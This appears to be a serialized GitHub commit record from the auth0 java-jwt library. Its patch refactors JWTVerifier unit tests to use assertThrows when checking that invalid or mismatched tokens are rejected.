* Replace expected exception with assertThrowstree}(jYN  (5ad822624c6229ddade836f1de7ad49ece301d87url^https://api.github.com/repos/auth0/java-jwt/git/trees/5ad822624c6229ddade836f1de7ad49ece301d87ujqN  `https://api.github.com/repos/auth0/java-jwt/git/commits/0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbc
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiVYM+CRBK7hj4Ov3rIwAAJ4kIAEnpOpmMzvLPGAc2dtjhheqh
Z3t/AC7MWjCmUolxsY5SQ8ySedaBO+kb56JwGj3pJBMAn93GKdVhgu+880RRQxzH
O3dXhhZ2RDUmhBA4COWWZeJQUfgDD+APqaHv5b6Is9oUAh1x7hmxKy4mXsbeTUv4
agr+PNZqM5Ygk+PdeHDfUA/4qkkwqr9yLC5jJ5VF7pTAQOGpUe+2K87v1rKETRW8
Jy5IzDMKu6W2xG4S90me/XGFZafw9tdxHQYnRKrrJz9lb1HmCIVCr472x3pn/mK9
K3z3At1m1yJutDSn3Jj+zeh3nTH/zELkTVzMNpky/ZHjBOvtK4bImjlWsWpBlOE=
=iuWy
-----END PGP SIGNATURE-----
payloadX5  tree 5ad822624c6229ddade836f1de7ad49ece301d87
parent 67df3d476024cbe697b3a54893f5383945c7670d
author Poovamraj T T <poovamraj@gmail.com> 1649771326 +0530
committer GitHub <noreply@github.com> 1649771326 +0200

Replace expected exception with assertThrows (#572)

* Replace expected exception with assertThrowsuujqN  \https://api.github.com/repos/auth0/java-jwt/commits/0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbchtml_urlQhttps://github.com/auth0/java-jwt/commit/0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbccomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbc/commentsj_N  }(login	poovamrajidJ j[N  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jqN  &https://api.github.com/users/poovamrajjN  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujgN  }(jN  web-flowjN  J/j[N  MDQ6VXNlcjE5ODY0NDQ3jN  4https://avatars.githubusercontent.com/u/19864447?v=4jN  h3jqN  %https://api.github.com/users/web-flowjN  https://github.com/web-flowjN  /https://api.github.com/users/web-flow/followersjN  <https://api.github.com/users/web-flow/following{/other_user}jN  5https://api.github.com/users/web-flow/gists{/gist_id}jN  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jN  3https://api.github.com/users/web-flow/subscriptionsjN  *https://api.github.com/users/web-flow/orgsjN  +https://api.github.com/users/web-flow/reposjN  6https://api.github.com/users/web-flow/events{/privacy}jN  5https://api.github.com/users/web-flow/received_eventsjN  UserjN  uparents]}(jYN  (67df3d476024cbe697b3a54893f5383945c7670djqN  \https://api.github.com/repos/auth0/java-jwt/commits/67df3d476024cbe697b3a54893f5383945c7670djN  Qhttps://github.com/auth0/java-jwt/commit/67df3d476024cbe697b3a54893f5383945c7670duastats}(totalM	additionsM	deletionsMufiles](}(jYN  (9dcb2cb1806b6dc640ab859d28765961bcd0f260filename4lib/src/test/java/com/auth0/jwt/JWTVerifierTest.javastatusmodifiedjN  MjN  MchangesM&blob_urlhttps://github.com/auth0/java-jwt/blob/0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javaraw_urlhttps://github.com/auth0/java-jwt/raw/0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbc/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifierTest.java?ref=0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbcpatchXl  @@ -19,9 +19,9 @@
 import java.util.Date;
 import java.util.function.BiPredicate;
 
-import static com.auth0.jwt.matchers.CustomMatchers.*;
 import static org.hamcrest.MatcherAssert.assertThat;
 import static org.hamcrest.Matchers.*;
+import static org.junit.Assert.assertThrows;
 import static org.mockito.Mockito.mock;
 
 public class JWTVerifierTest {
@@ -35,17 +35,18 @@ public class JWTVerifierTest {
 
     @Test
     public void shouldThrowWhenInitializedWithoutAlgorithm() {
-        exception.expect(IllegalArgumentException.class);
-        exception.expectMessage("The Algorithm cannot be null");
-        JWTVerifier.init(null);
+        IllegalArgumentException e = assertThrows(null, IllegalArgumentException.class, () ->
+                JWTVerifier.init(null));
+        assertThat(e.getMessage(), is("The Algorithm cannot be null."));
     }
 
     @Test
     public void shouldThrowWhenAlgorithmDoesntMatchTheTokensAlgorithm() {
-        exception.expect(AlgorithmMismatchException.class);
-        exception.expectMessage("The provided Algorithm doesn't match the one defined in the JWT's Header.");
-        JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC512("secret")).build();
-        verifier.verify("eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhdXRoMCJ9.s69x7Mmu4JqwmdxiK6sesALO7tcedbFsKEEITUxw9ho");
+        AlgorithmMismatchException e = assertThrows(null, AlgorithmMismatchException.class, () -> {
+            JWTVerifier verifier = JWTVerifier.init(Algorithm.HMAC512("secret")).build();
+            verifier.verify("eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhdXRoMCJ9.s69x7Mmu4JqwmdxiK6sesALO7tcedbFsKEEITUxw9ho");
+        });
+        assertThat(e.getMessage(), is("The provided Algorithm doesn't match the one defined in the JWT's Header."));
     }
 
     @Test
@@ -73,45 +74,45 @@ public void shouldValidateMultipleIssuers() {
 
     @Test
     public void shouldThrowOnInvalidIssuer() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
-        exception.expect(hasClaimName(PublicClaims.ISSUER));
-        exception.expect(hasClaimValue("auth0", String.class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withIssuer("invalid")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsImN0eSI6IkpXVCJ9.eyJpc3MiOiJhdXRoMCJ9.mZ0m_N1J4PgeqWmi903JuUoDRZDBPB7HwkS4nVyWH1M";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withIssuer("invalid")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'iss' value doesn't match the required issuer."));
+        assertThat(e.getClaimName(), is(PublicClaims.ISSUER));
+        assertThat(e.getClaimValue().asString(), is("auth0"));
     }
 
     @Test
     public void shouldThrowOnNullIssuer() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'iss' value doesn't match the required issuer.");
-        exception.expect(hasClaimName(PublicClaims.ISSUER));
-        exception.expect(hasNullClaim());
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOm51bGx9.OoiCLipSfflWxkFX2rytvtwEiJ8eAL0opkdXY_ap0qA";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withIssuer("auth0")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOm51bGx9.OoiCLipSfflWxkFX2rytvtwEiJ8eAL0opkdXY_ap0qA";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withIssuer("auth0")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'iss' value doesn't match the required issuer."));
+        assertThat(e.getClaimName(), is(PublicClaims.ISSUER));
+        assertThat(e.getClaimValue().isNull(), is(true));
     }
 
     @Test
     public void shouldThrowOnMissingIssuer() {
-        exception.expect(MissingClaimException.class);
-        exception.expectMessage("The Claim 'iss' is not present in the JWT.");
-        exception.expect(hasMissingClaimName("iss"));
-
-        String jwt = JWTCreator.init()
-                .sign(Algorithm.HMAC256("secret"));
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String jwt = JWTCreator.init()
+                    .sign(Algorithm.HMAC256("secret"));
 
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withIssuer("nope")
-                .build()
-                .verify(jwt);
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withIssuer("nope")
+                    .build()
+                    .verify(jwt);
+        });
+        assertThat(e.getMessage(), is("The Claim 'iss' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("iss"));
     }
 
     @Test
@@ -127,16 +128,16 @@ public void shouldValidateSubject() {
 
     @Test
     public void shouldThrowOnInvalidSubject() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'sub' value doesn't match the required one.");
-        exception.expect(hasClaimName(PublicClaims.SUBJECT));
-        exception.expect(hasClaimValue("1234567890", String.class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withSubject("invalid")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withSubject("invalid")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'sub' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is(PublicClaims.SUBJECT));
+        assertThat(e.getClaimValue().asString(), is("1234567890"));
     }
 
     @Test
@@ -230,76 +231,75 @@ public void shouldAcceptAudienceWhenAnyOfAudienceAndAllContained() {
 
     @Test
     public void shouldThrowWhenAudienceHasNoneOfExpectedAnyOfAudience() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
-        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
-        exception.expect(hasClaimValueArray(new String[] {"Mark","David","John"}, String[].class));
-
-        // Token 'aud' = ["Mark", "David", "John"]
-        String tokenArr = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withAnyOfAudience("Joe", "Jim")
-                .build()
-                .verify(tokenArr);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            // Token 'aud' = ["Mark", "David", "John"]
+            String tokenArr = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAnyOfAudience("Joe", "Jim")
+                    .build()
+                    .verify(tokenArr);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
+        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"Mark","David","John"}));
     }
 
     @Test
     public void shouldThrowWhenAudienceClaimDoesNotContainAllExpected() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
-        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
-        exception.expect(hasClaimValueArray(new String[] {"Mark","David","John"}, String[].class));
-
-        // Token 'aud' = ["Mark", "David", "John"]
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withAudience("Mark", "Joe")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            // Token 'aud' = ["Mark", "David", "John"]
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOlsiTWFyayIsIkRhdmlkIiwiSm9obiJdfQ.DX5xXiCaYvr54x_iL0LZsJhK7O6HhAdHeDYkgDeb0Rw";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAudience("Mark", "Joe")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
+        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"Mark","David","John"}));
     }
 
     @Test
     public void shouldThrowWhenAudienceClaimIsNull() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
-        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
-        exception.expect(hasNullClaim());
-
-        // Token 'aud': null
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpudWxsfQ.bpPyquk3b8KepErKgTidjJ1ZwiOGuoTxam2_x7cElKI";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withAudience("nope")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            // Token 'aud': null
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpudWxsfQ.bpPyquk3b8KepErKgTidjJ1ZwiOGuoTxam2_x7cElKI";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAudience("nope")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
+        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimValue().isNull(), is(true));
     }
 
     @Test
     public void shouldThrowWhenAudienceClaimIsMissing(){
-        exception.expect(MissingClaimException.class);
-        exception.expectMessage("The Claim 'aud' is not present in the JWT.");
-        exception.expect(hasMissingClaimName("aud"));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
-
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withAudience("nope")
-                .build()
-                .verify(token);
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.Rq8IxqeX7eA6GgYxlcHdPFVRNFFZc5rEI3MQTZZbK3I";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAudience("nope")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("aud"));
     }
 
     @Test
     public void shouldThrowWhenAudienceClaimIsNullWithAnAudience() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'aud' value doesn't contain the required audience.");
-        exception.expect(hasClaimName(PublicClaims.AUDIENCE));
-        exception.expect(hasClaimValueArray(new String[] {null}, String[].class));
-
-        // Token 'aud': [null]
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpbbnVsbF19.2cBf7FbkX52h8Vmjnl1DY1PYe_J_YP0KsyeoeYmuca8";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withAnyOfAudience("nope")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            // Token 'aud': [null]
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYXVkIjpbbnVsbF19.2cBf7FbkX52h8Vmjnl1DY1PYe_J_YP0KsyeoeYmuca8";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withAnyOfAudience("nope")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'aud' value doesn't contain the required audience."));
+        assertThat(e.getClaimName(), is(PublicClaims.AUDIENCE));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {null}));
     }
 
     @Test
@@ -384,113 +384,113 @@ public void shouldThrowOnNullCustomClaimName() {
 
     @Test
     public void shouldThrowWhenExpectedArrayClaimIsMissing() {
-        exception.expect(MissingClaimException.class);
-        exception.expectMessage("The Claim 'missing' is not present in the JWT.");
-        exception.expect(hasMissingClaimName("missing"));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhcnJheSI6WzEsMiwzXX0.wKNFBcMdwIpdF9rXRxvexrzSM6umgSFqRO1WZj992YM";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withArrayClaim("missing", 1, 2, 3)
-                .build()
-                .verify(token);
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhcnJheSI6WzEsMiwzXX0.wKNFBcMdwIpdF9rXRxvexrzSM6umgSFqRO1WZj992YM";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withArrayClaim("missing", 1, 2, 3)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'missing' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("missing"));
     }
 
     @Test
     public void shouldThrowWhenExpectedClaimIsMissing() {
-        exception.expect(MissingClaimException.class);
-        exception.expectMessage("The Claim 'missing' is not present in the JWT.");
-        exception.expect(hasMissingClaimName("missing"));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGFpbSI6InRleHQifQ.aZ27Ze35VvTqxpaSIK5ZcnYHr4SrvANlUbDR8fw9qsQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("missing", "text")
-                .build()
-                .verify(token);
+        MissingClaimException e = assertThrows(null, MissingClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGFpbSI6InRleHQifQ.aZ27Ze35VvTqxpaSIK5ZcnYHr4SrvANlUbDR8fw9qsQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("missing", "text")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'missing' is not present in the JWT."));
+        assertThat(e.getClaimName(), is("missing"));
     }
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeString() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        exception.expect(hasClaimName("name"));
-        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", "value")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", "value")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeInteger() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        exception.expect(hasClaimName("name"));
-        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", 123)
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", 123)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeDouble() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        exception.expect(hasClaimName("name"));
-        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", 23.45)
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", 23.45)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeBoolean() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        exception.expect(hasClaimName("name"));
-        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", true)
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", true)
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValueOfTypeDate() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        exception.expect(hasClaimName("name"));
-        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", new Date())
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", new Date())
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
     @Test
     public void shouldThrowOnInvalidCustomClaimValue() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Claim 'name' value doesn't match the required one.");
-        exception.expect(hasClaimName("name"));
-        exception.expect(hasClaimValueArray(new String[] {"something"}, String[].class));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
-        JWTVerifier.init(Algorithm.HMAC256("secret"))
-                .withClaim("name", "check")
-                .build()
-                .verify(token);
+        IncorrectClaimException e = assertThrows(null, IncorrectClaimException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjpbInNvbWV0aGluZyJdfQ.3ENLez6tU_fG0SVFrGmISltZPiXLSHaz_dyn-XFTEGQ";
+            JWTVerifier.init(Algorithm.HMAC256("secret"))
+                    .withClaim("name", "check")
+                    .build()
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Claim 'name' value doesn't match the required one."));
+        assertThat(e.getClaimName(), is("name"));
+        assertThat(e.getClaimValue().asArray(String.class), is(new String[] {"something"}));
     }
 
     @Test
@@ -734,15 +734,15 @@ public void shouldValidateExpiresAtIfPresent() {
 
     @Test
     public void shouldThrowOnInvalidExpiresAtIfPresent() {
-        exception.expect(TokenExpiredException.class);
-        exception.expectMessage(startsWith("The Token has expired on"));
-        exception.expect(hasTokenExpiredOn(Instant.ofEpochSecond(1477592L)));
-
-        String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
-        JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
-        verification
-                .build(mockOneSecondLater)
-                .verify(token);
+        TokenExpiredException e = assertThrows(null, TokenExpiredException.class, () -> {
+            String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE0Nzc1OTJ9.isvT0Pqx0yjnZk53mUFSeYFJLDs-Ls9IsNAm86gIdZo";
+            JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
+            verification
+                    .build(mockOneSecondLater)
+                    .verify(token);
+        });
+        assertThat(e.getMessage(), is("The Token has expired on 1970-01-18T02:26:32Z."));
+        assertThat(e.getExpiredOn(), is(Instant.ofEpochSecond(1477592L)));
     }
 
     @Test
@@ -769,16 +769,16 @@ public void shouldValidateNotBeforeWithLeeway() {
 
     @Test
     public void shouldThrowOnInvalidNotBeforeIfPresent() {
-        exception.expect(IncorrectClaimException.class);
-        exception.expectMessage("The Token can't be used before 1970-01-18T02:26:32Z.");
-        exception.expect(hasClaimName(PublicClaims.NOT_BEFORE));
-        exception.expect(hasClaimValue(1477592L, Long.class));
-
